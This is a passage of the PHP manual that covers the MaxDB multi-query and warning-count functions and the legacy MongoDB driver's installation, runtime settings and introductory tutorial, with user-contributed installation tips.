$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if ($maxdb->multi_query($query)) {
   do {
       /* store first result set */
       if ($result = $maxdb->use_result()) {
           while ($row = $result->fetch_row()) {
               printf("%s\n", $row[0]);
           }
           $result->close();
       }
       /* print divider */
       if ($maxdb->more_results()) {
           printf("-----------------\n");
       }
   } while ($maxdb->next_result());
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query  = "SELECT * FROM DUAL";

/* execute multi query */
if (maxdb_multi_query($link, $query)) {
   do {
       /* store first result set */
       if ($result = maxdb_use_result($link)) {
           while ($row = maxdb_fetch_row($result)) {
               printf("%s\n", $row[0]);
           }
           maxdb_free_result($result);
       }
       /* print divider */
       if (maxdb_more_results($link)) {
           printf("-----------------\n");
       }
   } while (maxdb_next_result($link));
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

a

See Also

  • maxdb_real_query() - Execute an SQL query
  • maxdb_store_result() - Transfers a result set from the last query

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of warnings from the last query for the given link

  • « maxdb_use_result
  • Mongo »
  • PHP Manual
  • MaxDB Functions
  • Returns the number of warnings from the last query for the given link

maxdb_warning_count

maxdb::warning_count

(PECL maxdb >= 1.0)

maxdb_warning_count -- maxdb::warning_count — Returns the number of warnings from the last query for the given link

Description

Procedural style

int maxdb_warning_count ( resource $link )

Object oriented style

int $maxdb->warning_count;

maxdb_warning_count() returns the number of warnings from the last query in the connection represented by the link parameter.

Return Values

Number of warnings or zero if there are no warnings.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable city in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

$maxdb->query($query);

printf ("Number of warning: %d\n", $maxdb->warning_count);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

/* a remarkable long city name in Wales */
$query = "INSERT INTO temp.mycity (zip, name) VALUES('11111',
       'Llanfairpwllgwyngyllgogerychwyrndrobwllllantysiliogogogoch')";

maxdb_query($link, $query);

printf ("Number of warning: %d\n", maxdb_warning_count($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -8004 POS(62) Constant must be compatible with column type and length <...>
Number of warning: 0

See Also

  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error
  • maxdb_sqlstate() - Returns the SQLSTATE error from previous MaxDB operation

User Contributed Notes

There are no user contributed notes for this page.


MongoDB

  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Manual
    • Tutorial
    • Read Preferences
    • Write Concerns
    • SQL to Mongo Mapping Chart
    • Connecting
    • Stream Context Options
    • Writes
    • Querying
    • Updates
    • Security
    • Troubleshooting
    • Running the Driver's Tests
  • Core Classes
    • MongoClient — The MongoClient class
    • MongoDB — The MongoDB class
    • MongoCollection — The MongoCollection class
    • MongoCursor — The MongoCursor class
    • MongoCommandCursor — The MongoCommandCursor class
  • Types
    • MongoId — The MongoId class
    • MongoCode — The MongoCode class
    • MongoDate — The MongoDate class
    • MongoRegex — The MongoRegex class
    • MongoBinData — The MongoBinData class
    • MongoInt32 — The MongoInt32 class
    • MongoInt64 — The MongoInt64 class
    • MongoDBRef — The MongoDBRef class
    • MongoMinKey — The MongoMinKey class
    • MongoMaxKey — The MongoMaxKey class
    • MongoTimestamp — The MongoTimestamp class
  • GridFS Classes
    • MongoGridFS — The MongoGridFS class
    • MongoGridFSFile — The MongoGridFSFile class
    • MongoGridFSCursor — The MongoGridFSCursor class
  • Batch Classes
    • MongoWriteBatch — The MongoWriteBatch class
    • MongoInsertBatch — The MongoInsertBatch class
    • MongoUpdateBatch — The MongoUpdateBatch class
    • MongoDeleteBatch — The MongoDeleteBatch class
  • Miscellaneous
    • MongoLog — The MongoLog class
    • MongoPool — The MongoPool class
    • Mongo — The Mongo class [deprecated]
  • Mongo Functions
    • bson_decode — Deserializes a BSON object into a PHP array
    • bson_encode — Serializes a PHP variable into a BSON string
  • Exceptions
    • MongoException — The MongoException class
    • MongoResultException — The MongoResultException class
    • MongoCursorException — The MongoCursorException class
    • MongoCursorTimeoutException — The MongoCursorTimeoutException class
    • MongoConnectionException — The MongoConnectionException class
    • MongoGridFSException — The MongoGridFSException class
    • MongoDuplicateKeyException — The MongoDuplicateKeyException class
    • MongoProtocolException — The MongoProtocolException class
    • MongoExecutionTimeoutException — The MongoExecutionTimeoutException class
    • MongoWriteConcernException — The MongoWriteConcernException class
  • Changelog

User Contributed Notes

mike at eastghost dot com 09-Nov-2011 01:13
Just stepped up from 1.1.3 of the php driver to 1.2.6.  Wow, big improvement.  Logfile paucity shows the connection pooling / persistence is working, and noticeable speed improvements (page load times cut 10% to 30%) all around show dev is on the right track.  Kudos.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration

User Contributed Notes

There are no user contributed notes for this page.


Installation

The MongoDB PHP driver should work on nearly any system: Windows, Mac OS X, Unix, and Linux; little- and big-endian machines; 32- and 64-bit machines; PHP 5.2, 5.3, 5.4 and 5.5.

This » PECL extension is not bundled with PHP.

  • Manual Installation
  • Installing on *NIX
  • Installing on Windows
  • OS X
  • Gentoo
  • Red Hat
  • Third-Party Installation Instructions

Manual Installation

For driver developers and people interested in the latest bugfixes, you can compile the driver from the latest source code on » Github. Go to Github and click the "download" button. Then run:

$ tar zxvf mongodb-mongodb-php-driver-<commit_id>.tar.gz
$ cd mongodb-mongodb-php-driver-<commit_id>
$ phpize
$ ./configure
$ make all
$ sudo make install

Make the following changes to php.ini:

  • Make sure the extension_dir variable is pointing to the directory containing mongo.so. The build will display where it is installing the PHP driver with output that looks something like:

    Installing '/usr/lib/php/extensions/no-debug-non-zts-20060613/mongo.so'
    Make sure that it is the same as the PHP extension directory by runnning:
    $ php -i | grep extension_dir
  extension_dir => /usr/lib/php/extensions/no-debug-non-zts-20060613 =>
                   /usr/lib/php/extensions/no-debug-non-zts-20060613
    If it's not, change the extension_dir in php.ini or move mongo.so.

  • To load the extension on PHP startup, add a line:

    extension=mongo.so

Installing on *NIX

Run:

$ sudo pecl install mongo

If you are using CentOS or Redhat, you may wish to install from an » RPM.

Add the following line to your php.ini file:

extension=mongo.so

If pecl runs out of memory while installing, make sure memory_limit in php.ini is set to at least 128MB.

Installing on Windows

Precompiled binaries for each release are available from » S3 for a variety of combinations of versions, thread safety, and VC libraries. Unzip the archive and put php_mongo.dll in your PHP extension directory ("ext" by default).

Add the following line to your php.ini file:

extension=php_mongo.dll

Note: Additional DLL dependencies for Windows Users

In order for this extension to work, there are DLL files that must be available to the Windows system PATH. For information on how to do this, see the FAQ entitled "How do I add my PHP directory to the PATH on Windows". Although copying DLL files from the PHP folder into the Windows system directory also works (because the system directory is by default in the system's PATH), this is not recommended. This extension requires the following files to be in the PATH: libsasl.dll

OS X

If your system is unable to find autoconf, you'll need to install Xcode (available on your installation DVD or as a free download from the Apple website).

In most cases installing from pecl is the easiest way:

$ sudo pecl install mongo

If you are using XAMPP, you may be able to compile the driver with the following command:

$ sudo /Applications/XAMPP/xamppfiles/bin/pecl install mongo

Gentoo

Gentoo has a package for the PHP PECL driver called dev-php/pecl-mongo, which can be installed with:

$ sudo emerge -va dev-php/pecl-mongo

If you use PECL, you may get an error that libtool is the wrong version. Compiling from source you'll need to run aclocal and autoconf.

$ phpize
$ aclocal
$ autoconf
$ ./configure
$ make
$ sudo make install

Red Hat

This includes Fedora and CentOS.

The default Apache settings on these systems do not let requests make network connections, meaning that the driver will get "Permission denied" errors when it tries to connect to the database. If you run into this, try running:

$ /usr/sbin/setsebool -P httpd_can_network_connect 1
Then restart Apache. (This issue has also occurred with SELinux.)

Third-Party Installation Instructions

A number of people have created excellent tutorials on installing the PHP driver.

  • » PHP 5.3.1 with Xdebug, MongoDB and Lithium on Ubuntu 9.10 / Apache 2.2

    An excellent video that takes you step-by-step through installing Apache, PHP, Xdebug, MongoDB, and Lithium by Jon Adams.

  • » Installing MongoDB and the PHP driver on Ubuntu 9.04

    Spanish article by Javier Aranda (» English translation).

  • » OS X: Installing MongoDB and the PHP Mongo Driver

    By Matt Butcher.

User Contributed Notes

Daniel 14-Nov-2013 08:27
This may help also:

http://blog.salientdigital.com/2012/05/16/how-to-fix-no-acceptable-c-compiler-found-in-path-on-mac-os-x-lion/

Xcode doesn't ship with "Command Line Tools", you need to install then after installing Xcode.

You need Command Line Tools to get the program `m4` that you need to install mongo driver using: sudo pecl install mongo.

HTH
bradley dot henke at colorado dot edu 23-Apr-2013 03:36
Instructions for Manually Installing MongoDB for PHP for use with "XAMPP for Linux":

There were two gotchas that I ran into. "XAMPP for Linux" needs 32 bit libraries, and the php API version must match the php API version of "XAMPP for Linux".
Hopefully this will save someone else time figuring this all out!

1) Install "XAMPP for Linux" AND the "XAMPP for Linux Development Files".

2) Grab the source code from github (in the manual instructions above)
$ tar zxvf mongodb-mongodb-php-driver-<commit_id>.tar.gz
$ cd mongodb-mongodb-php-driver-<commit_id>

There are now some smalls deviation from the manual instructions...
3) PHPize
$ sudo /opt/lampp/bin/phpize

4) Configure
$ ./configure

5) Make changes to the Makefile (XAMPP requires a 32-bit compilation)
- Choose your favorite text editor and open "Makefile"
- Make the following changes:
Line 20: prefix = /opt/lampp
Line 23: prefix = /opt/lampp
Line 25: phpincludedir = /opt/lampp/include/php
Line 27: CFLAGS = -g -O2 -m32
Line 34: EXTENSION_DIR = /opt/lampp/lib/php/extensions/no-debug-non-zts-20100525/
Line 35: PHP_EXECUTABLE = /opt/lampp/bin/php

Make sure you replace </path/to/mongo-php-driver-master>
Line 38: INCLUDES = -I/opt/lampp/include/php -I/opt/lampp/include/php/main -I/opt/lampp/include/php/TSRM -I/opt/lampp/include/php/Zend -I/opt/lampp/include/php/ext -I/opt/lampp/include/php/ext/date/lib -I</path/to/mongo-php-driver-master>/util -I</path/to/mongo-php-driver-master>/exceptions -I</path/to/mongo-php-driver-master>/gridfs -I</path/to/mongo-php-driver-master>/types -I</path/to/mongo-php-driver-master>/mcon

6) Compile
$ sudo make all

7) Copy the static object into the extension directory
$ sudo cp modules/mongo.so /opt/lampp/lib/php/extensions/no-debug-non-zts-20100525/

9) Update your php.ini file
- Grab you favorite text editor and open /opt/lampp/etc/php.ini (you'll probably need to use sudo).
- Add the line: extension=mongo.so

10) Restart "XAMPP for Linux". You should now be able to see Mongo listed in your phpinfo() page! Installation Complete!!!

Good Luck!
Hanakaze 13-Jan-2013 03:18
To install the Mongo driver on Windows 7 x64 with EasyPHP, you have to use the x86 driver (instead of x64) and non nts :
php_mongo-1.3.2RC1-5.4-vc9.dll actually
tiago dot braga at gmail dot com 08-Aug-2011 06:04
In Windows running IIS the directory to instal is "C:\Program Files\PHP\ext". Than you have to install the apropriate MongoDriver version (in my case was mongo-1.1.4-php5.3vc9) and than Restart IIS.

The MongoDB Driver will be available.
rishi at plavaga dot in 27-Jun-2011 10:25
I am using XAMPP 1.7.4 (32 bit) on Windows 7. Though it was mentioned that Apache uses a non-threadsafe version of DLL, when used, it was giving me the below error:

PHP Warning:  PHP Startup: Unable to load dynamic library
Warning:  PHP Startup: Unable to load dynamic library 'D:\xampp\php\ext\php_mongo.dll' - The specified module could not be found.

I had to use the thread-safe version (mongo-1.1.4.zip\mongo-1.1.4-php5.3vc6ts\php_mongo.dll) to get it working.
Andrey 02-Jun-2011 01:54
On windows installation check for VC compilator version inside phpinfo(), if you install incorrect one it wouldn't work.
I tried to run on Apache2 with VC6, and always get folowing error:

Fatal error: Class 'Mongo' not found

Until I look into phpinfo and found MSVC9, after that
I install VC9 dll files and it solve the problem.
poorpuer at gmail dot com 26-Oct-2010 05:26
If you're running IIS under Windows 7 and have PHP manager installed you'll also need to manually enable the extension. Start IIS Manager, select PHP Manager, under the section labeled PHP Extensions click on Enable or disable an extension, then enable the php_mongo.dll extension, and restart IIS.
cap at unagon dot com 26-Feb-2010 10:52
For Debian users: apt-get install php5-dev will install phpize for you.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Mongo Configure Options
Name | Default | Changeable | Changelog
mongo.allow_empty_keys | 0 | PHP_INI_ALL |
mongo.allow_persistent | 1 | PHP_INI_ALL | Removed in 1.2.0
mongo.chunk_size | 262144 | PHP_INI_ALL |
mongo.cmd | "$" | PHP_INI_ALL |
mongo.default_host | "localhost" | PHP_INI_ALL |
mongo.default_port | 27017 | PHP_INI_ALL |
mongo.is_master_interval | 15 | PHP_INI_ALL | Added in 1.2.10, before 1.3.0 the default value was 60.
mongo.long_as_object | 0 | PHP_INI_ALL |
mongo.native_long | 1 | PHP_INI_ALL | Before 1.5.0, the default value was 0.
mongo.ping_interval | 5 | PHP_INI_ALL | Added in 1.2.10
mongo.utf8 | 1 | PHP_INI_ALL |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

mongo.allow_empty_keys int

Added in version 1.0.11.

If empty strings ("") should be allowed as key names. By default, the driver will throw an exception if you attempt to pass the empty string as a key to the database. It is extremely easy to do this inavertently by using double quotes with $-operators, so it is recommended that you leave this setting as default. However, if you need to save keys that are empty strings, you can set this option to true and the driver will allow you to pass empty strings to the database.

mongo.allow_persistent int

If persistent connections are allowed. (Removed in 1.2.0 - all connections are now persistent).

mongo.chunk_size int

The number of bytes-per-chunk. Used in divvying up GridFS files. This number must be at least 100 less than 4 megabytes (max: 4194204) and it is recommended that it be less than that.

mongo.cmd string

A character to be used in place of $ in modifiers and comparisons.

As it is easy to forget to escape the "$", you can also choose your own special character to use instead of '$'. Choose a character that will not occur in your key names, e.g. ":":

mongo.cmd = ":"

Then, to do a comparison, for example:

<?php

$query = array( "i" => array( ":gt" => 20, ":lte" => 30 ) );

?>

You can also change it in your code using ini_set("mongo.cmd", ":"). Of course, you can also just use single quotes or backslash-escape the $.

mongo.default_host string

Default hostname when nothing is passed to the constructor.

mongo.default_port string

The default TCP port number to use when connecting to the database server if no other port is specified. The database's default is 27017.

mongo.is_master_interval int

Added in version 1.2.10.

For replicaset connections: The minimum interval with which the driver will send "isMaster" requests to the MongoDB server. If the value is lower, there will be more requests, but the driver finds faster whether the topology of the replicaset has been changed.

mongo.long_as_object int

Return a BSON_LONG as an instance of MongoInt64 (instead of a primitive type).

mongo.native_long int

The default behavior for this has been changed to TRUE in 1.5.0, so make sure to set this variable to the value you want (probably TRUE) so that the driver's behavior doesn't suddenly change when you upgrade.

On 64-bit platforms, the mongo.native_long setting allows for 64-bit integers to be stored in MongoDB. If it is not set, only 32-bits of the integer will be saved. The MongoDB data type that is used in this case is the BSON LONG, instead of the BSON INT that is used if this setting is turned off.

The setting also changes the way how BSON LONGs behave when they are read back from MongoDB. Without mongo.native_long enabled, the driver would convert every BSON LONG to a PHP double which can result in a loss of precision.

On 32-bit platforms, the mongo.native_log setting changes nothing for storing integers in MongoDB: the integer is stored as a BSON INT as before. However, when the setting is enabled and a BSON LONG is read from MongoDB a MongoCursorException is thrown alerting you that the data could not be read back without losing precision.

On 32-bit systems especially, it is recommended that you combine this with enabling mongo.long_as_object.

mongo.ping_interval int

Added in version 1.2.10.

For replicaset connections: The minimum interval with which the driver will send "ping" requests to the MongoDB server. If the value is lower, there will be more pings, but the driver finds faster whether a node is no longer reachable from the replicaset.

mongo.utf8 int

If an exception should be thrown for non-UTF8 strings. Until version 1.0.4, the PHP driver would ignore non-UTF8 strings, even though you're not supposed to insert them. As of 1.0.4, the driver throws a MongoException. To ease the transition for applications that insert non-UTF8 strings, you can turn this option off to emulate the old, non-exception-throwning behavior. This option will be eliminated and exceptions always thrown for non-UTF8 strings starting with version 1.1.0.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MONGO_STREAMS (integer)
Alias of MONGO_SUPPORTS_STREAMS
MONGO_SUPPORTS_STREAMS (integer)
1 when compiled against PHP Streams (default since 1.4.0).
MONGO_SUPPORTS_SSL (integer)
1 when OpenSSL is enabled and available.
MONGO_SUPPORTS_AUTH_MECHANISM_MONGODB_CR (integer)
1 when MongoDB-Challenge/Reponse authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_MONGODB_X509 (integer)
1 when x.509 authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_GSSAPI (integer)
1 when GSSAPI authentication is compiled in.
MONGO_SUPPORTS_AUTH_MECHANISM_PLAIN (integer)
1 when PLAIN authentication is compiled in.
MONGO_STREAM_NOTIFY_TYPE_IO_INIT (integer)
MONGO_STREAM_NOTIFY_TYPE_LOG (integer)
MONGO_STREAM_NOTIFY_IO_READ (integer)
MONGO_STREAM_NOTIFY_IO_WRITE (integer)
MONGO_STREAM_NOTIFY_IO_PROGRESS (integer)
MONGO_STREAM_NOTIFY_IO_COMPLETED (integer)
MONGO_STREAM_NOTIFY_LOG_INSERT (integer)
MONGO_STREAM_NOTIFY_LOG_QUERY (integer)
MONGO_STREAM_NOTIFY_LOG_UPDATE (integer)
MONGO_STREAM_NOTIFY_LOG_DELETE (integer)
MONGO_STREAM_NOTIFY_LOG_GETMORE (integer)
MONGO_STREAM_NOTIFY_LOG_KILLCURSOR (integer)
MONGO_STREAM_NOTIFY_LOG_BATCHINSERT (integer)
MONGO_STREAM_NOTIFY_LOG_RESPONSE_HEADER (integer)
MONGO_STREAM_NOTIFY_LOG_WRITE_REPLY (integer)
MONGO_STREAM_NOTIFY_LOG_CMD_INSERT (integer)
MONGO_STREAM_NOTIFY_LOG_CMD_UPDATE (integer)
MONGO_STREAM_NOTIFY_LOG_CMD_DELETE (integer)
MONGO_STREAM_NOTIFY_LOG_WRITE_BATCH (integer)

User Contributed Notes

There are no user contributed notes for this page.


Manual

Table of Contents

  • Tutorial
  • Read Preferences
  • Write Concerns
  • SQL to Mongo Mapping Chart
  • Connecting
  • Stream Context Options
  • Writes
  • Querying
  • Updates
  • Security
  • Troubleshooting
  • Running the Driver's Tests

This manual goes into some detail about how to use MongoDB, but it mostly covers using the PHP driver. For information about how to design a schema, what terms means, and setting up the database server, check out the » MongoDB documentation.

User Contributed Notes

There are no user contributed notes for this page.


Tutorial

Table of Contents

  • Making a Connection
  • Getting a Database
  • Getting A Collection
  • Inserting a Document
  • Finding Documents using MongoCollection::findOne
  • Adding Multiple Documents
  • Counting Documents in A Collection
  • Using a Cursor to Get All of the Documents
  • Setting Criteria for a Query
  • Getting A Set of Documents With a Query
  • Creating An Index

This is the official MongoDB driver for PHP.

Here's a quick code sample that connects, inserts documents, queries for documents, iterates through query results, and disconnects from MongoDB. There are more details on each step in the tutorial below.

<?php

// connect
$m = new MongoClient();

// select a database
$db = $m->comedy;

// select a collection (analogous to a relational database's table)
$collection = $db->cartoons;

// add a record
$document = array( "title" => "Calvin and Hobbes", "author" => "Bill Watterson" );
$collection->insert($document);

// add another record, with a different "shape"
$document = array( "title" => "XKCD", "online" => true );
$collection->insert($document);

// find everything in the collection
$cursor = $collection->find();

// iterate through the results
foreach ($cursor as $document) {
    echo $document["title"] . "\n";
}

?>

The above example will output:

Calvin and Hobbes
XKCD

User Contributed Notes

pgl at yoyo dot org 17-Sep-2013 10:44
To use a collection with periods in its name, quote it with braces:

<?php
$m = new MongoClient();

$cursor = $m->test->{'test.test'}->find();

## equivalent to the following:
#$db = $m->test;
#$collection = $db->{'test.test'};
#$cursor = $collection->find();

foreach ($cursor as $doc) {
    print_r($doc);
?>
Josh Heidenreich 09-Dec-2010 07:28
If you are getting "writing more" shown at random places on the screen, it's a MongoDB connector bug in 1.0.5.

Bug report: http://jira.mongodb.org/browse/PHP-91

Update to the latest connector driver and it should go away.
php at whoah dot net 25-Apr-2010 07:57
Make sure array keys consecutive before inserting. As of 1.0.6 driver, the following will end up as an object of key:value pairs, instead of an array, because it's trying to maintain the 0 and 2 keys:

$array = array('a', 'b', 'c');
unset($array[1]);

$document = array(
'embedded' => $array,
);

// assuming local
$mongo = new Mongo();
$mongo->test->test->insert($document);

mongodb result:
{ "_id" : ObjectId(...), "embedded" : { "0" : "a", "2" : "c" } }

This is bad if you plan on indexing the embedded property as an array because objects and arrays are indexed differently.

Whether the behaviour will change or not, this is logged here: http://jira.mongodb.org/browse/PHP-104

If you know about it, it's not major, just use a sort() before inserting, or use array_* methods to remove elements instead of unset() -- anything that will re-adjust keys.


Making a Connection

To connect to the database server, use one of the following:

<?php
$connection = new MongoClient(); // connects to localhost:27017
$connection = new MongoClient( "mongodb://example.com" ); // connect to a remote host (default port: 27017)
$connection = new MongoClient( "mongodb://example.com:65432" ); // connect to a remote host at a given port
?>

You do not have to explicitly disconnect from the database. The driver uses persistent connections and will re-use already established connections.

See Also

The chapter on connecting covers different types of connections.

The API documentation on the MongoClient class and MongoClient::__construct() give a comprehensive look at all possible options with a number of examples.

User Contributed Notes

There are no user contributed notes for this page.


Getting a Database

To select a database, use:

<?php
$connection = new MongoClient();
$db = $connection->dbname;
?>

The database does not need to be created in advance, you can create new databases by selecting them.

Be careful of typos! You can inadvertently create a new database, which can cause confusing errors (here name is misspelled as anme in the second selection:

<?php
$connection = new MongoClient();

$db = $connection->mybiglongdbname;
// do some stuff

$db = $connection->mybiglongdbanme;
// now connected to a different database!
?>

See Also

The API documentation on the MongoDB class contains more information about database objects.

User Contributed Notes

There are no user contributed notes for this page.


Getting A Collection

Getting a collection has the same syntax as getting a database:

<?php
$connection = new MongoClient();
$db = $connection->baz;

// select a collection:
$collection = $db->foobar;

// or, directly selecting a database and collection:
$collection = $connection->baz->foobar;
?>

A collection is analogous to a table (if you are familiar with relational databases).

See Also

The API documentation on the MongoCollection class contains more information about collection objects.

User Contributed Notes

There are no user contributed notes for this page.


Inserting a Document

Associative arrays are the basic object that can be saved to a collection in the database. A somewhat random "document" might be:

<?php
$doc = array(
    "name" => "MongoDB",
    "type" => "database",
    "count" => 1,
    "info" => (object)array( "x" => 203, "y" => 102),
    "versions" => array("0.9.7", "0.9.8", "0.9.9")
);
?>

Note that you can have nested arrays and objects. The driver will always store an associative array as an object in the database. A numerically indexed array is stored as an array in case the keys start at 0 and are not interrupted, and as an object if the array keys don't start at 0 or have gaps (ie: 0, 1, 4, 5).

To insert this document, use MongoCollection::insert():

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$collection->insert( $doc );
?>

See Also

The API documentation on MongoCollection::insert() contains more information about inserting data.

User Contributed Notes

fabian at fabfuel dot de 01-Mar-2014 03:21
If you do not specify a custom _id, the driver automatically pushes the generated _id to the given document.
After saving, you can directly access the created _id:

<?php
...
$collection->insert($doc);
var_dump($doc['_id'])

// example output
object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "4e2995576803fab768000000"
  }


Finding Documents using MongoCollection::findOne

  • « Inserting a Document
  • Adding Multiple Documents »
  • PHP Manual
  • Tutorial
  • Finding Documents using MongoCollection::findOne

Finding Documents using MongoCollection::findOne()

To show that the document we inserted in the previous step is stored in the database, we can do a simple MongoCollection::findOne() operation to get a single document from the collection. This method is useful when there is only one document matching the query or you are only interested in one result.

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$document = $collection->findOne();
var_dump( $document );
?>

The above example will output:

array(6) {
  ["_id"]=>
  object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "4e2995576803fab768000000"
  }
  ["name"]=>
  string(7) "MongoDB"
  ["type"]=>
  string(8) "database"
  ["count"]=>
  int(1)
  ["info"]=>
  array(2) {
    ["x"]=>
    int(203)
    ["y"]=>
    int(102)
  }
  ["versions"]=>
  array(3) {
    [0]=>
    string(5) "0.9.7"
    [1]=>
    string(5) "0.9.8"
    [2]=>
    string(5) "0.9.9"
  }
}

Note that there is an _id field that has been added automatically to your document. _id is the "primary key" field. If your document does not specify one, the driver will add one automatically.

If you specify your own _id field, it must be unique to the collection. See the example here:

<?php
$connection = new MongoClient();
$db = $connection->database;

$db->foo->insert(array("_id" => 1));
// this will throw an exception
$db->foo->insert(array("_id" => 1));

// this is fine, as it is a different collection
$db->bar->insert(array("_id" => 1));
?>

By default the driver will ensure the server has acknowledged the write before returning. You can optionally turn this behaviour off by passing array("w" => 0) as the second argument. This means that the driver should not wait for the database to acknowledge the write and would not throw the duplicate _id exception.

See Also

MongoCollection::findOne() for more information about finding data.

MongoId goes into more detail on unique ids.

The writes section covers writes in more depth, and the Write Concerns chapter goes into details of the various Write Concern options.

User Contributed Notes

There are no user contributed notes for this page.


Adding Multiple Documents

In order to do more interesting things with queries, let's add multiple simple documents to the collection. These documents will just be of the form array( "i" => value ); and we can do this fairly efficiently in a loop:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

for ( $i = 0; $i < 100; $i++ )
{
    $collection->insert( array( 'i' => $i, "field{$i}" => $i * 2 ) );
}
?>

Notice that we can insert arrays with different keys into the same collection. This aspect is what we mean when we say that MongoDB is "schema-free". In the example above each document has an i field, but also a field name in the form of field + $i.

User Contributed Notes

There are no user contributed notes for this page.


Counting Documents in A Collection

Now that we've inserted 101 documents (the 100 we did in the loop, plus the first one), we can check to see if we have them all using the MongoCollection::count() method.

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

echo $collection->count();
?>
and it should print 101.

User Contributed Notes

There are no user contributed notes for this page.


Using a Cursor to Get All of the Documents

In order to get all the documents in the collection, we will use MongoCollection::find(). The find() method returns a MongoCursor object which allows us to iterate over the set of documents that matched our query. So to query all of the documents and print them out:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$cursor = $collection->find();
foreach ( $cursor as $id => $value )
{
    echo "$id: ";
    var_dump( $value );
}
?>
and that should print all 101 documents in the collection. $id is the _id field of a document (cast to a string) and $value is the document itself.

See Also

The API documentation on MongoCollection::find() contains more information about finding data.

User Contributed Notes

There are no user contributed notes for this page.


Setting Criteria for a Query

We can create a query to pass to the MongoCollection::find() method to get a subset of the documents in our collection. For example, if we wanted to find the document for which the value of the "i" field is 71, we would do the following:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( 'i' => 71 );
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

The above example will output:

array(2) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["i"]=>
  int(71)
  ["_ns"]=>
  "testCollection"
}

User Contributed Notes

There are no user contributed notes for this page.


Getting A Set of Documents With a Query

We can use the query to get a set of documents from our collection. For example, if we wanted to get all documents where "i" > 50, we could write:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( "i" => array( '$gt' => 50 ) ); //note the single quotes around '$gt'
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

which should print the documents where "i" > 50. We could also get a range, say 20 < i <= 30:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( 'i' => array( '$gt' => 20, "\$lte" => 30 ) );
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

Remember to always escape the $-symbol or use single quotes. Otherwise PHP will interpret it to be the variable $gt.

User Contributed Notes

There are no user contributed notes for this page.


Creating An Index

MongoDB supports indexes, and they are very easy to add on a collection. To create an index, you specify the field name and direction: ascending (1) or descending (-1). The following creates an ascending index on the "i" field:

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$collection->ensureIndex( array( "i" => 1 ) );  // create index on "i"
$collection->ensureIndex( array( "i" => -1, "j" => 1 ) );  // index on "i" descending, "j" ascending
?>

Indexing is critical for good read performance as your data grows. If you are not familiar with indexing, check out the MongoCollection::ensureIndex() documentation and the core » MongoDB indexing documentation.

User Contributed Notes

There are no user contributed notes for this page.


Read Preferences

MongoDB 2.2 and version 1.3.0 of the driver add support for » read preferences, which allow control over how queries are directed to mongod instances in a replica set environment. Read preferences may be specified on either a per-connection, per-database, or per-collection basis. Preferences defined at a higher level will be inherited by default (e.g. MongoCollection will inherit read preferences defined on the corresponding MongoDB instance).

Read preferences are specified with a combination of modes and tag sets. Modes determine how mongod instances are prioritized, while » tag sets specify criteria for eligible mongod instances. Mongod instances are only eligible if they are within a 15ms difference in ping time from the nearest mongod instance.

Read Preference Modes

Warning

All read preference modes except MongoClient::RP_PRIMARY may return stale data as secondaries replicate operations from the primary with some delay. Ensure that your application can tolerate stale data if you choose to use a mode other than MongoClient::RP_PRIMARY.

  • MongoClient::RP_PRIMARY

    All read operations use only the current replica set primary. This is the default. If the primary is unavailable, read operations will produce an exception.

    This mode is incompatible with use of tag sets. Specifying a tag set with MongoClient::RP_PRIMARY will result in an exception.

  • MongoClient::RP_PRIMARY_PREFERRED

    In most situations, operations read from the primary member of the set. However, if the primary is unavailable, as is the case during failover situations, operations read from secondary members.

